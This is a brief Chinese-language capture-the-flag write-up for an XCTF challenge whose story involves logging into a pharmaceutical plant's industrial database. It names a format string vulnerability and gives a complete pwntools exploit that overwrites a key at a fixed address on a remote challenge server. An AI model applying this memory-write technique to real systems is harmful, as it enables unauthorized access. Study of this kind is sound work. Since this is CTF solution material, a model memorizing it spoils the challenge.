题目来源: XCTF 4th-CyberEarth
题目描述:小A在对某家医药工厂进行扫描的时候,发现了一个大型实时数据库系统。小A意识到实时数据库系统会采集并存储与工业流程相关的上千节点的数据,只要登录进去,就能拿到有价值的数据。小A在尝试登陆实时数据库系统的过程中,一直找不到修改登录系统key的方法,虽然她现在收集到了能够登陆进系统的key的值,但是只能想别的办法来登陆。
格式化字符串漏洞
exp如下:
from pwn import * #io = gdb.debug(\'./pwn\', \'b *0x80484a7\') #io = process(\'./pwn\') io = remote(\'111.200.241.244\', 54626) key_addr = 0x804A048 payload = p32(key_addr) + p32(key_addr + 1) + p32(key_addr + 2) payload += b\'%022c\' + b\'%12$hhn\' payload += b\'%017c\' + b\'%13$hhn\' payload += b\'%0495c\' + b\'%14$hn\' io.sendline(payload) io.interactive()